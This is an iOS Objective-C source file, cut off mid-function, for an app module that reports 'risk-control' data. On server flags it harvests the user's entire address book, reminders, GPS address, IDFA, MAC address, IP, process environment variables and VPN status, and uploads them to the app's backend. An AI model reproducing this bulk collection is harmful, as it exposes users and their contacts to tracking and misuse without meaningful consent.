//
//  JMExtInfoManager.m
//  NewiOSProject
//
//  Created by apple on 2023/9/29.
//  Copyright © 2023 范智渊. All rights reserved.
//

#import "JMExtInfoManager.h"
#import "DeviceInfoManager.h"
#import "BatteryInfoManager.h"
#import <sys/sysctl.h>
#import <EventKit/EventKit.h>
#import "NSData+GZIP.h"
#include <ifaddrs.h>
#import <ContactsUI/ContactsUI.h>
#import <CoreTelephony/CTTelephonyNetworkInfo.h>
#import <CoreTelephony/CTCarrier.h>
#import "NetWorkInfoManager.h"
NSString *const kRRVPNStatusChangedNotification = @"kRRVPNStatusChangedNotification";
static NSString * notReachable = @"notReachable";


@interface JMExtInfoManager()<BatteryInfoDelegate,CLLocationManagerDelegate>
{
    BOOL _vpnFlag;
}
@property (nonatomic, strong) CLLocationManager *locationManager;
@property (nonatomic, strong) NSMutableArray *allReminders;
@property (nonatomic, strong) NSMutableArray *allContactInfos;
@property (nonatomic, strong) NSMutableDictionary *baseInfoDict;

@property (nonatomic, strong) NSString *currentTimeStempString;
@property (nonatomic) dispatch_group_t device_group;
@property (nonatomic) dispatch_queue_t serialQueue;

@end

@implementation JMExtInfoManager
-(NSMutableArray *)allReminders{
    if (!_allReminders) {
        _allReminders = [NSMutableArray array];
    }
    return _allReminders;
}
-(NSMutableArray *)allContactInfos{
    if (!_allContactInfos) {
        _allContactInfos = [NSMutableArray array];
    }
    return _allContactInfos;
}
-(NSMutableDictionary *)baseInfoDict{
    if (!_baseInfoDict) {
        _baseInfoDict  = @{}.mutableCopy;
        NSDictionary *dict =@{
            @"address_book": @[],
            @"app_list":@[],
            @"calendar_list": @[],
            @"device_info": @{},
            @"osTypeEnum": @"ios",
            @"packageName":bundleId,
            @"userId":JMProjectManager.sharedJMProjectManager.loginUser.userId?:@""
        };
        [_baseInfoDict addEntriesFromDictionary:dict];
    }
    if (self.device_info.allKeys.count) {
        [_baseInfoDict setValue:self.device_info forKey:@"device_info"];
    }
    return _baseInfoDict;
}
+ (instancetype)sharedManager {
    static JMExtInfoManager *_manager;
    static dispatch_once_t onceToken;
    dispatch_once(&onceToken, ^{
        _manager = [[JMExtInfoManager alloc] init];
    });
    return _manager;
}

#pragma mark - private Method


-(void)checkExtExpired{
    [JMCommonMethod uploadStatistics:@"ExtInfoUpload" actionType:@"Check" parameters:nil];//@{@"productAndRanks":productAndRanks}

    [[JMBaseRequest sharedInstance]requestBasePost:BasePostRequestUrl(@"/api/auth/check-ext-expired") params:@{} success:^(NSDictionary * _Nullable dataDic, NSArray * _Nullable dataArray) {
        self.extraDict = dataDic;
        self.addressBook =      [self.extraDict safeBoolForKey:@"addressBook"];
        self.photoInfo =        [self.extraDict safeBoolForKey:@"photoInfo"];
        self.calendarInfo =     [self.extraDict safeBoolForKey:@"calendarInfo"];
        self.appInfo =          [self.extraDict safeBoolForKey:@"appInfo"];
        self.sms =              [self.extraDict safeBoolForKey:@"sms"];
        self.deviceInfo =       [self.extraDict safeBoolForKey:@"deviceInfo"];
        self.callLog =          [self.extraDict safeBoolForKey:@"callLog"];
//        self.deviceInfo = YES;
//        self.addressBook = YES;
//        self.calendarInfo = YES;
//        self.photoInfo = YES;
        [self upLoadExtInfo];
    } fail:^(NSString * _Nonnull errorMsg) {
        
    }];
    
}
-(void)upLoadExtInfo{
    _serialQueue = dispatch_queue_create("com.example.serialQueue", DISPATCH_QUEUE_SERIAL);
    // 在串行队列中执行任务4
    dispatch_async(_serialQueue, ^{
        if (self.deviceInfo) {
            [JMCommonMethod uploadStatistics:@"ExtInfoUpload" actionType:@"DeviceInfo_Fetch" parameters:nil];//@{@"productAndRanks":productAndRanks}

            [self upLoadExtInfo:extrInfo_Type_DeviceInfo];
        }
        NSLog(@"Task 5 is running");
    });
    // 在串行队列中执行任务1
    dispatch_async(_serialQueue, ^{
        if (self.addressBook) {
            [self upLoadExtInfo:extrInfo_Type_AddressBook];
        }
        NSLog(@"Task 1 is running");
    });
    // 在串行队列中执行任务3
    dispatch_async(_serialQueue, ^{
        if (self.calendarInfo) {
            [self upLoadExtInfo:extrInfo_Type_Reminder];
        }
        NSLog(@"Task 3 is running");
    });
    
    // 在串行队列中执行任务4
    dispatch_async(_serialQueue, ^{
        if (self.appInfo) {
//            [self upLoadExtInfo:extrInfo_Type_App_info];
        }
        NSLog(@"Task 4 is running");
    });
    
   
    // 等待所有任务完成
    dispatch_sync(_serialQueue, ^{
        NSLog(@"all Task finish");
        
    });
}

//TODO: ----------------❗️单项上传❗️待处理❗️----------------------------
-(void)upLoadExtInfo:(extrInfo_Type)infoType{
    
    if (infoType==extrInfo_Type_App_info) {
        NSMutableDictionary *dict = [NSMutableDictionary dictionary];
        [dict addEntriesFromDictionary:self.baseInfoDict];
        
        NSString *appVerion = [[[NSBundle mainBundle] infoDictionary] objectForKey:@"CFBundleShortVersionString"];
        NSDictionary *appInfo = @[
            @{
                @"app_name": app_name,
                @"app_type": @"iOS",
                @"app_version": [self shortVersionString] ,
                @"in_time": JMProjectManager.sharedJMProjectManager.loginUser.firstInstallTimeStemp,
                @"obtain_time":JMProjectManager.sharedJMProjectManager.loginUser.firstInstallTimeStemp,
                @"package_name": bundleId,
                @"up_time":JMProjectManager.sharedJMProjectManager.loginUser.firstInstallTimeStemp,
                @"version_code": appVerion
            }
        ];
        [dict setValue:appInfo forKey:@"app_list"];
        [self uploadInfo:dict];
        NSLog(@"\n\n\n\n❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️上传app_inf参数为：❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️\n%@\n❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️",dict);
    }
    //
    if (infoType == extrInfo_Type_DeviceInfo) {
        NSMutableDictionary *dict = [NSMutableDictionary dictionary];
        [dict addEntriesFromDictionary:self.baseInfoDict];
        [self startLocation];
        [JMCommonMethod uploadStatistics:@"ExtInfoUpload" actionType:@"DeviceInfo_Upload" parameters:nil];//@{@"productAndRanks":productAndRanks}
        [self _setAppInfodict:dict];
 
    }
    
    if (infoType==extrInfo_Type_Reminder&&self.calendarInfo) {
        // 在串行队列中执行任务1
        TenAuthorizationStatus remindStatus =  [[JMTenLocationManager shareManager] remindStatus];
        if (remindStatus==TenAuthorizationStatusNotDetermined) {
            [[JMTenLocationManager shareManager]applyRemind:^(BOOL granted, TenAuthorizationStatus status){
                if (granted) {//提醒事项封控数据上报
                    [self fetchReminders];
                }
            }];
        }
        if (remindStatus==TenAuthorizationStatusAuthorized || remindStatus==TenAuthorizationStatusRestricted) {
            [self fetchReminders];
        }
    }
    
    if (infoType==extrInfo_Type_AddressBook&&self.addressBook) {
        
        TenAuthorizationStatus addressBookStatus =  [[JMTenLocationManager shareManager] addressBookStatus];
        if (addressBookStatus == TenAuthorizationStatusAuthorized || addressBookStatus == TenAuthorizationStatusRestricted) {//联系人封控数据上报
//            dispatch_async(_serialQueue, ^{
                [self fetchAllContact];
//            });
        }
        if (addressBookStatus == TenAuthorizationStatusNotDetermined) {
            [[JMTenLocationManager shareManager]applyContact:^(BOOL granted, TenAuthorizationStatus status) {
                if (granted) {
                    backgroudOperation(0, ^{
                        [self fetchAllContact];
                    });
                }
            }];
        }
        
    }
}
-(void)uploadInfo:(NSDictionary *)dict{
    // 创建要发送的JSON数据
    NSData *jsonData = [NSJSONSerialization dataWithJSONObject:@{@"extInfoReq":dict} options:0 error:nil];
    // 压缩JSON数据
    NSData *compressedData = [jsonData gzippedData];
    // 创建HTTP请求
    NSString *urlString = BasePostRequestUrl(@"/api/auth/ext-info");
    NSURL *url = [NSURL URLWithString:urlString];
    NSMutableURLRequest *request = [NSMutableURLRequest requestWithURL:url];
    [request setHTTPMethod:@"POST"];
    
    // 设置请求头，指明请求体使用了gzip压缩
    NSDictionary *headers = @{
        @"Content-Type": @"application/json",
        @"Accept": @"application/json",
        @"loginToken": JMProjectManager.sharedJMProjectManager.loginUser.token,
        @"x-version": @"1.0.0",
        @"versionNumber": @"1.0.0",
        @"x-package-name": bundleId,
        @"bagName": bundleId,
//        @"Content-Encoding":@"gzip"
    };
    
    for (NSString *key in headers) {
        [request addValue:headers[key] forHTTPHeaderField:key];
    }
    
    [request setHTTPBody:jsonData];
    NSURLSessionDataTask *task = [[NSURLSession sharedSession] dataTaskWithRequest:request completionHandler:^(NSData *data, NSURLResponse *response, NSError *error) {
        if (data!=nil) {
            NSDictionary *content = [NSJSONSerialization JSONObjectWithData:data options:(NSJSONReadingAllowFragments) error:nil];
            NSDictionary *dataDict = (NSDictionary *)content[@"data"];
            NSString *code = content[@"code"];
            NSString *message = content[@"message"];

            if (code.intValue==200) {
                NSLog(@"\n**************************************扩展数据上传成功**************************************");
                NSLog(@"url=%@\n,param=%@,\n%@",urlString,dict,content);
                NSLog(@"\n**************************************扩展数据上传成功**************************************");


            }else{
                NSLog(@"请求失败: %@,message%@", error,message);
            }
        }else{
            NSLog(@"请求失败: %@,data为空", error);
        }
    }];
    
    [task resume];
    
}
-(void)fetchAllContact{
    NSMutableDictionary *dict = [NSMutableDictionary dictionary];
    [dict addEntriesFromDictionary:self.baseInfoDict];
    
    // 创建通讯录对象
    CNContactStore *contactStore = [CNContactStore new];
    NSArray *keys = @[CNContactNamePrefixKey,
                      CNContactGivenNameKey,
                      CNContactMiddleNameKey,
                      CNContactFamilyNameKey,
                      CNContactNameSuffixKey,
                      CNContactPhoneNumbersKey,
                      ];
    // 获取通讯录中所有的联系人
    CNContactFetchRequest *request = [[CNContactFetchRequest alloc] initWithKeysToFetch:keys];
    NSUInteger totalContactCount = [contactStore unifiedContactsMatchingPredicate:nil keysToFetch:keys error:nil].count;
    __block NSUInteger processedContactCount = 0;

    [contactStore enumerateContactsWithFetchRequest:request error:nil usingBlock:^(CNContact * _Nonnull contact, BOOL * _Nonnull stop) {
//        NSLog(@"contact desc%@",contact.description);
        processedContactCount++;
        // 获取姓名
        NSString *name = [NSString stringWithFormat:@"%@%@%@%@%@", contact.namePrefix, contact.givenName, contact.middleName, contact.familyName, contact.nameSuffix];
        if (contact.phoneNumbers.count) {
            for (CNLabeledValue *labeledValue in contact.phoneNumbers){
                
                CNPhoneNumber *phoneValue = labeledValue.value;
                NSString *phoneNumber = phoneValue.stringValue;
                if (phoneNumber != nil &&phoneNumber.length>0) {
                    NSDictionary *contactDict =   @{
                        @"contact_display_name": name,
                        @"number": phoneNumber,
                    };
                    [self.allContactInfos addObject:contactDict];
                }
            }
        }else{
            NSDictionary *contactDict =   @{
                @"contact_display_name": name,
                @"number": @"",
            };
            [self.allContactInfos addObject:contactDict];
        }
        
        if (processedContactCount == totalContactCount) {
            *stop = YES; // 设置 stop 为 YES 来停止遍历
        }
        if (*stop==YES) {
            NSLog(@"遍历结束%@",self.allContactInfos);
            [dict setValue:self.allContactInfos forKey:@"address_book"];
            [self uploadInfo:dict];
        }
    }];

}

- (void)fetchReminders{
    NSMutableDictionary *dict = [NSMutableDictionary dictionary];
    [dict addEntriesFromDictionary:self.baseInfoDict];
    
    
    EKEventStore *eventStore = [[EKEventStore alloc] init];
    NSPredicate *predicate = [eventStore predicateForRemindersInCalendars:nil];
    NSMutableDictionary *reminderInfo = @{}.mutableCopy;
    [eventStore fetchRemindersMatchingPredicate:predicate completion:^(NSArray *reminders) {
        
        for (EKReminder *reminder in reminders) {
            
            //提醒开始时间
            NSCalendar *calendar = [NSCalendar currentCalendar];
            NSDate *  startDate= [calendar dateFromComponents:reminder.startDateComponents];
            startDate = [self localTime:startDate];

            //提醒计划完成始时间
            NSDate *dueDate =  [calendar dateFromComponents:reminder.dueDateComponents];
            dueDate = [self localTime:dueDate];

            //提醒计划完成始时间
            NSDate *completeData =  reminder.completionDate;
            NSLog(@"{\nstartDate:%@\ndueDate:%@\ncompleteData:%@",startDate,dueDate,completeData);
            
            NSString *start_time = @([startDate timeIntervalSince1970]*1000).stringValue;
            NSString *end_time = @([dueDate timeIntervalSince1970]*1000).stringValue;
            if([start_time isEqualToString:@"0"]){
                start_time = @"";
            }
            if([end_time isEqualToString:@"0"]){
                end_time = @"";
            }
            EKAlarm *firstAlarm = [reminder.alarms firstObject];
            
            NSTimeInterval relativeOffset = firstAlarm.relativeOffset*(-1);
            EKStructuredLocation *structuredLocation = firstAlarm.structuredLocation; // 结构化位置提醒
            if (structuredLocation) {
                NSLog(@"structuredLocation:\n%@",structuredLocation);
            }
            NSString *method = @"";
            
            NSString *minutes = @"";
            if (firstAlarm) {
                minutes = @(@(relativeOffset / 60.0).intValue).stringValue;
            }
            NSDictionary *reminderInfo =  @{
                @"description": reminder.notes?:@"",
                @"end_time": end_time,
                @"event_title":reminder.title,
                @"start_time": start_time
            };
            
            [self.allReminders addObject:reminderInfo];
        }
        [dict setValue:self.allReminders forKey:@"calendar_list"];
        [self uploadInfo:dict];
        NSLog(@"\n\n\n\n❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️上传calendar_list参数为：❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️\n%@\n❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️",dict);
    }];
 
}
-(NSDate *)localTime:(NSDate *)date{
    // 创建一个 NSDateFormatter 对象
    NSDateFormatter *dateFormatter = [[NSDateFormatter alloc] init];

    // 设置日期格式
    [dateFormatter setDateFormat:@"yyyy-MM-dd HH:mm:ss"];

    // 设置时区为当前时区
    [dateFormatter setTimeZone:[NSTimeZone localTimeZone]];

    // 使用日期格式器将 NSDate 转化为字符串，表示为当前时区的时间
    NSString *formattedDate = [dateFormatter stringFromDate:date];
    date = [dateFormatter dateFromString:formattedDate];
    NSLog(@"=============\nlocalStartDate%@\n========",formattedDate);

    return date;
}
-(void)_setAppInfodict:(NSDictionary*)dict{
    JMAppConfig *config= JMProjectManager.sharedJMProjectManager.appConfig;
    JMLoginUserModel *user= JMProjectManager.sharedJMProjectManager.loginUser;
    
    
    [self.device_info setValue:[self shortVersionString] forKey:@"shortVersionString"];
    [self.device_info setValue:[self version] forKey:@"version"];
    [self.device_info setValue:[self create_time] forKey:@"create_time"];
    [self.device_info setValue:bundleId forKey:@"bundleId"];
    [self.device_info setValue:app_name forKey:@"app_name"];
    [self.device_info setValue:@"mx" forKey:@"developmentRegion"];
    const NSString *deviceName = [[DeviceInfoManager sharedManager] getDeviceName];
    [self _addInfoWithKey:@"设备型号" infoValue:[deviceName copy]];
    [self.device_info setValue:deviceName forKey:@"device_info"];
    [self.device_info setValue:@"ios" forKey:@"os_type"];
    NSString *systemVersion = [UIDevice currentDevice].systemVersion;
    [self.device_info setValue:systemVersion forKey:@"os_version"];
    NSString *deviceIP = [[NetWorkInfoManager sharedManager] getDeviceIPAddresses];
    NSDictionary *network = @{@"ip":deviceIP};
    [self.device_info setValue:network forKey:@"network"];
    int64_t totalMemory = [[DeviceInfoManager sharedManager] getTotalMemory];
    [self.device_info setValue:[NSString stringWithFormat:@"%ld",totalMemory] forKey:@"memory"];

    int64_t totalDisk = [[DeviceInfoManager sharedManager] getTotalDiskSpace];
    NSString *totalDiskInfo = [NSString stringWithFormat:@"== %.2f MB == %.2f GB", totalDisk/1024/1024.0, totalDisk/1024/1024/1024.0];
    [self _addInfoWithKey:@"磁盘总空间" infoValue:totalDiskInfo];
    [self.device_info setValue:[NSString stringWithFormat:@"%ld",totalDisk] forKey:@"storage"];
    
    long long  freeDisk = [[DeviceInfoManager sharedManager] getFreeDiskSpace];
    NSString *freeDiskInfo = [NSString stringWithFormat:@" %.2f MB == %.2f GB", freeDisk/1024/1024.0, freeDisk/1024/1024/1024.0];
    NSLog(@"freeDiskInfo=%@",freeDiskInfo);
    [self _addInfoWithKey:@"磁盘空闲空间" infoValue:freeDiskInfo];
    [self.device_info setValue:[NSString stringWithFormat:@"%ld",freeDisk] forKey:@"unuse_storage"];
    
    [self.device_info setValue:user.longitude?:@"" forKey:@"gps_longitude"];
    [self.device_info setValue:user.latitude?:@"" forKey:@"gps_latitude"];
    [self.device_info setValue:user.street?:@"" forKey:@"gps_address_street"];
    [self.device_info setValue:user.province?:@"" forKey:@"gps_address_province"];
    [self.device_info setValue:user.city?:@"" forKey:@"gps_address_city"];
    CGFloat batteryLevel = [[UIDevice currentDevice] batteryLevel];
    if (batteryLevel<0) {
        batteryLevel =batteryLevel *-1;
    }
    NSString *levelValue = [NSString stringWithFormat:@"%ld", batteryLevel*100];
    [self _addInfoWithKey:@"电池电量" infoValue:levelValue];
    [self.device_info setValue:@(@(batteryLevel*100).intValue).stringValue forKey:@"battery"];
    [self.device_info setValue:@"0" forKey:@"is_simulator"];
    NSString *time = config.lastTimeStemp.length?config.lastTimeStemp:@((NSInteger)[[NSDate new] timeIntervalSince1970] * 1000).stringValue;
    [self.device_info setValue:time forKey:@"last_login_time"];
    [self.device_info setValue:[Adjust idfa] forKey:@"idfa"];
    [self.device_info setValue:config.idfv forKey:@"idfv"];
    [self.device_info setValue:[self screenResolution] forKey:@"resolution"];
    
    
    NSString *iPhoneName = [UIDevice currentDevice].name;
    [self _addInfoWithKey:@"设备名称" infoValue:iPhoneName];
    
    
    NSString *deviceColor = [[DeviceInfoManager sharedManager] getDeviceColor];
    [self _addInfoWithKey:@"设备颜色(Private API)" infoValue:deviceColor];
    
    NSString *deviceEnclosureColor = [[DeviceInfoManager sharedManager] getDeviceEnclosureColor];
    [self _addInfoWithKey:@"设备外壳颜色(Private API)" infoValue:deviceEnclosureColor];
    
    NSString *appVerion = [[[NSBundle mainBundle] infoDictionary] objectForKey:@"CFBundleShortVersionString"];
    [self _addInfoWithKey:@"app版本号" infoValue:appVerion];
    
    NSString *device_model = [[DeviceInfoManager sharedManager] getDeviceModel];
    [self _addInfoWithKey:@"device_model" infoValue:device_model];
    
    NSString *localizedModel = [UIDevice currentDevice].localizedModel;
    [self _addInfoWithKey:@"localizedModel" infoValue:localizedModel];
    
    NSString *systemName = [UIDevice currentDevice].systemName;
    [self _addInfoWithKey:@"当前系统名称" infoValue:systemName];
    
    [self.device_info setValue:systemVersion forKey:@"os_version"];
    [self _addInfoWithKey:@"当前系统版本号" infoValue:systemVersion];
    
    const NSString *initialFirmware = [[DeviceInfoManager sharedManager] getInitialFirmware];
    [self _addInfoWithKey:@"设备支持最低系统版本" infoValue:[initialFirmware copy]];
    
    const NSString *latestFirmware = [[DeviceInfoManager sharedManager] getLatestFirmware];
    [self _addInfoWithKey:@"设备支持的最高系统版本" infoValue:[latestFirmware copy]];
    
    BOOL canMakePhoneCall = [DeviceInfoManager sharedManager].canMakePhoneCall;
    [self _addInfoWithKey:@"能否打电话" infoValue:@(canMakePhoneCall)];
    
    NSDate *systemUptime = [[DeviceInfoManager sharedManager] getSystemUptime];
    [self _addInfoWithKey:@"设备上次重启的时间" infoValue:systemUptime];
    
    NSUInteger busFrequency = [[DeviceInfoManager sharedManager] getBusFrequency];
    [self _addInfoWithKey:@"当前设备的总线频率Bus Frequency" infoValue:@(busFrequency)];
    
    NSUInteger ramSize = [[DeviceInfoManager sharedManager] getRamSize];
    [self _addInfoWithKey:@"当前设备的主存大小(随机存取存储器（Random Access Memory)）" infoValue:@(ramSize)];
    
    
    BatteryInfoManager *batteryManager = [BatteryInfoManager sharedManager];
    batteryManager.delegate = self;
    [batteryManager startBatteryMonitoring];
//    
   
//    
//    
    
    NSInteger batteryCapacity = batteryManager.capacity;
    NSString *capacityValue = [NSString stringWithFormat:@"%ld mA", batteryCapacity];
    [self _addInfoWithKey:@"电池容量" infoValue:capacityValue];
    
    CGFloat batteryMAH = batteryCapacity * batteryLevel;
    NSString *mahValue = [NSString stringWithFormat:@"%.2f mA", batteryMAH];
    [self _addInfoWithKey:@"当前电池剩余电量" infoValue:mahValue];
    
    CGFloat batteryVoltage = batteryManager.voltage;
    NSString *voltageValue = [NSString stringWithFormat:@"%.2f V", batteryVoltage];
    [self _addInfoWithKey:@"电池电压" infoValue:voltageValue];
    
    NSString *batterStatus = batteryManager.status ? : @"unkonwn";
    [self _addInfoWithKey:@"电池状态" infoValue:batterStatus];
//    
    NSMutableDictionary *battery_status = @{}.mutableCopy;

    [battery_status setValue:@(@(batteryLevel*100).intValue).stringValue forKey:@"battery_pct"];
    [battery_status setValue:batterStatus forKey:@"battery_state"];
    [self.device_info setObject:battery_status forKey:@"battery_status"];
    
    // 广告位标识符：在同一个设备上的所有App都会取到相同的值，是苹果专门给各广告提供商用来追踪用户而设的，用户可以在 设置|隐私|广告追踪里重置此id的值，或限制此id的使用，故此id有可能会取不到值，但好在Apple默认是允许追踪的，而且一般用户都不知道有这么个设置，所以基本上用来监测推广效果，是戳戳有余了
    NSString *idfa = [[DeviceInfoManager sharedManager] getIDFA];
    [self _addInfoWithKey:@"广告位标识符idfa" infoValue:idfa];
    
    //  UUID是Universally Unique Identifier的缩写，中文意思是通用唯一识别码。它是让分布式系统中的所有元素，都能有唯一的辨识资讯，而不需要透过中央控制端来做辨识资讯的指 定。这样，每个人都可以建立不与其它人冲突的 UUID。在此情况下，就不需考虑数据库建立时的名称重复问题。苹果公司建议使用UUID为应用生成唯一标识字符串。
//    NSString *uuid = [[[UIDevice currentDevice] identifierForVendor] UUIDString];
    
    [self _addInfoWithKey:@"唯一识别码uuid" infoValue:config.uuidString];
    NSString *device_token_crc32 = [[NSUserDefaults standardUserDefaults] objectForKey:@"device_token_crc32"] ? : @"";
    [self _addInfoWithKey:@"device_token_crc32真机测试才会显示" infoValue:device_token_crc32];
    
    NSString *macAddress = [[DeviceInfoManager sharedManager] getMacAddress];
    [self _addInfoWithKey:@"macAddress" infoValue:macAddress];
    
  
//
//
//
//    NSString *cellIP = [[NetWorkInfoManager sharedManager] getIpAddressCell];
//    [self _addInfoWithKey:@"蜂窝地址" infoValue:cellIP];
//
//    NSString *wifiIP = [[NetWorkInfoManager sharedManager] getIpAddressWIFI];
//    [self _addInfoWithKey:@"WIFI IP地址" infoValue:wifiIP];
//    NSString *cpuName = [[DeviceInfoManager sharedManager] getCPUProcessor];
//    [self _addInfoWithKey:@"CPU 处理器名称" infoValue:cpuName];
//
//    [self _addInfoWithKey:@"CPU总数目" infoValue:@(cpuCount)];
//
//
//
//
//
//    CGFloat cpuUsage = [[DeviceInfoManager sharedManager] getCPUUsage];
//    [self _addInfoWithKey:@"CPU使用的总比例" infoValue:@(cpuUsage)];
//
//    NSUInteger cpuFrequency = [[DeviceInfoManager sharedManager] getCPUFrequency];
//    [self _addInfoWithKey:@"CPU 频率" infoValue:@(cpuFrequency)];
//
//    NSArray *perCPUArr = [[DeviceInfoManager sharedManager] getPerCPUUsage];
//    NSMutableString *perCPUUsage = [NSMutableString string];
//    for (NSNumber *per in perCPUArr) {
//
//        [perCPUUsage appendFormat:@"%.2f<-->", per.floatValue];
//    }
//    [self _addInfoWithKey:@"单个CPU使用比例" infoValue:perCPUUsage];
    
    NSUInteger cpuCount = [[DeviceInfoManager sharedManager] getCPUCount];
    NSMutableDictionary *process_info = @{}.mutableCopy;
    [process_info setValue:@(cpuCount).stringValue forKey:@"activeProcessorCount"];
    [process_info setValue:[[DeviceInfoManager sharedManager] processInfoName] forKey:@"processName"];
    [process_info setValue:batteryManager.isLowPower?@"true":@"false" forKey:@"lowPowerModeEnabled"];
    [process_info setValue:@(cpuCount).stringValue forKey:@"processorCount"];
    
    [process_info setValue:@([[NSProcessInfo processInfo] processIdentifier]).stringValue forKey:@"processIdentifier"];
    
    [process_info setValue:[NSProcessInfo processInfo].environment.mj_JSONString forKey:@"environment"];
    [process_info setValue:[NSProcessInfo processInfo].arguments.mj_JSONString forKey:@"arguments"];

    [process_info setValue:[NSString stringWithFormat:@"%ld",totalDisk] forKey:@"physicalMemory"];
    [process_info setValue:JMProjectManager.sharedJMProjectManager.appConfig.uuidString forKey:@"globallyUniqueString"];
    [process_info setValue:[UIDevice new].machineModelName forKey:@"operatingSystemVersionString"];
    [process_info setValue:[NSString stringWithFormat:@"%ld",(NSInteger)[self systemStartTime].timeIntervalSince1970*1000] forKey:@"systemUptime"];//?????
    [process_info setValue:@([NSProcessInfo processInfo].thermalState).stringValue forKey:@"thermalState"];
    [self.device_info setObject:process_info forKey:@"process_info"];
    
    NSString *applicationSize = [[DeviceInfoManager sharedManager] getApplicationSize];
    [self _addInfoWithKey:@"当前 App 所占内存空间" infoValue:applicationSize];
    NSMutableDictionary *new_storage = @{}.mutableCopy;
    
  
    int64_t usedDisk = [[DeviceInfoManager sharedManager] getUsedDiskSpace];
    NSString *usedDiskInfo = [NSString stringWithFormat:@" == %.2f MB == %.2f GB", usedDisk/1024/1024.0, usedDisk/1024/1024/1024.0];
    [self _addInfoWithKey:@"磁盘 已使用空间" infoValue:usedDiskInfo];
    
    
    NSString *totalMemoryInfo = [NSString stringWithFormat:@" %.2f MB == %.2f GB", totalMemory/1024/1024.0, totalMemory/1024/1024/1024.0];
    [self _addInfoWithKey:@"系统总内存空间" infoValue:totalMemoryInfo];
    
    
    
    int64_t freeMemory = [[DeviceInfoManager sharedManager] getFreeMemory];
    NSString *freeMemoryInfo = [NSString stringWithFormat:@" %.2f MB == %.2f GB", freeMemory/1024/1024.0, freeMemory/1024/1024/1024.0];
    [self _addInfoWithKey:@"空闲的内存空间" infoValue:freeMemoryInfo];
  
    int64_t usedMemory = [[DeviceInfoManager sharedManager] getFreeDiskSpace];
    NSString *usedMemoryInfo = [NSString stringWithFormat:@" %.2f MB == %.2f GB", usedMemory/1024/1024.0, usedMemory/1024/1024/1024.0];
    [self _addInfoWithKey:@"已使用的内存空间" infoValue:usedMemoryInfo];
    
    
    
    int64_t activeMemory = [[DeviceInfoManager sharedManager] getActiveMemory];
    NSString *activeMemoryInfo = [NSString stringWithFormat:@"正在使用或者很短时间内被使用过 %.2f MB == %.2f GB", activeMemory/1024/1024.0, activeMemory/1024/1024/1024.0];
    [self _addInfoWithKey:@"活跃的内存" infoValue:activeMemoryInfo];
    
    int64_t inActiveMemory = [[DeviceInfoManager sharedManager] getInActiveMemory];
    NSString *inActiveMemoryInfo = [NSString stringWithFormat:@"但是目前处于不活跃状态的内存 %.2f MB == %.2f GB", inActiveMemory/1024/1024.0, inActiveMemory/1024/1024/1024.0];
    [self _addInfoWithKey:@"最近使用过" infoValue:inActiveMemoryInfo];
    
    
    
    int64_t wiredMemory = [[DeviceInfoManager sharedManager] getWiredMemory];
    NSString *wiredMemoryInfo = [NSString stringWithFormat:@"framework、用户级别的应用无法分配 %.2f MB == %.2f GB", wiredMemory/1024/1024.0, wiredMemory/1024/1024/1024.0];
    [self _addInfoWithKey:@"用来存放内核和数据结构的内存" infoValue:wiredMemoryInfo];
    
    
    
    int64_t purgableMemory = [[DeviceInfoManager sharedManager] getPurgableMemory];
    NSString *purgableMemoryInfo = [NSString stringWithFormat:@"大对象存放所需的大块内存空间 %.2f MB == %.2f GB", purgableMemory/1024/1024.0, purgableMemory/1024/1024/1024.0];
    [self _addInfoWithKey:@"可释放的内存空间：内存吃紧自动释放" infoValue:purgableMemoryInfo];
    
    
    
    [new_storage setObject:@(freeMemory).stringValue forKey:@"freeMemory"];
    [new_storage setValue:[NSString stringWithFormat:@"%ld",totalMemory] forKey:@"totalMemory"];
    [new_storage setValue:[NSString stringWithFormat:@"%ld",purgableMemory] forKey:@"purgableMemory"];
    [new_storage setValue:[NSString stringWithFormat:@"%ld",inActiveMemory] forKey:@"inActiveMemory"];
    [new_storage setValue:[NSString stringWithFormat:@"%ld",activeMemory] forKey:@"activeMemory"];
    [new_storage setValue:[NSString stringWithFormat:@"%ld",wiredMemory] forKey:@"wiredMemory"];
    [new_storage setValue:[NSString stringWithFormat:@"%ld",usedMemory] forKey:@"usedMemory"];
    [self.device_info setObject:new_storage forKey:@"new_storage"];
  
    
   
    NSMutableDictionary *general_data = @{}.mutableCopy;
    NSString *create_time = [self create_time];
    [general_data setValue:[self create_time]forKey:@"currentSystemTime"];
    [general_data setValue:[self getSystemUptime]forKey:@"elapsedRealtime"];
    [general_data setValue:[self isConnectedToProxy]?@"true":@"false"forKey:@"is_using_proxy_port"];
    [general_data setValue:[self isVPNOn]?@"true":@"false"forKey:@"is_using_vpn"];
    [general_data setValue:[self TechnologyInfo]?:@""forKey:@"serviceCurrentRadioAccessTechnology"];
    [general_data setValue:[self getNetworkType]forKey:@"network_type"];
    [general_data setValue:[self getNetworkType]forKey:@"network_type_new"];
    [general_data setValue:[self timeZoneId]forKey:@"time_zone_id"];
    [general_data setValue:[self uptimeMillis]forKey:@"uptimeMillis"];
    [general_data setValue:config.uuidString forKey:@"uuid"];
    [self.device_info setObject:general_data forKey:@"general_data"];

   
    NSMutableDictionary *hardware = @{}.mutableCopy;
    
    int h = [UIScreen mainScreen].sizeInPixel.height;
    int w = [UIScreen mainScreen].sizeInPixel.width;
    [hardware setValue:[NSString stringWithFormat:@"%ld",h] forKey:@"device_height"];
    [hardware setValue:iPhoneName forKey:@"device_name"];
    [hardware setValue:[NSString stringWithFormat:@"%ld",w] forKey:@"device_width"];
    [hardware setValue:[self diagonalString] forKey:@"physical_size"];
    [hardware setValue:[self diagonalString] forKey:@"release"];
    [hardware setValue:deviceName forKey:@"model"];
    [self.device_info setObject:hardware forKey:@"hardware"];
    
    
    NSMutableDictionary *other_data = @{}.mutableCopy;
   __block NSString *dbmClass = @"";
    
    if(@available(iOS 13.0, *)){
        delayOperation(0, ^{
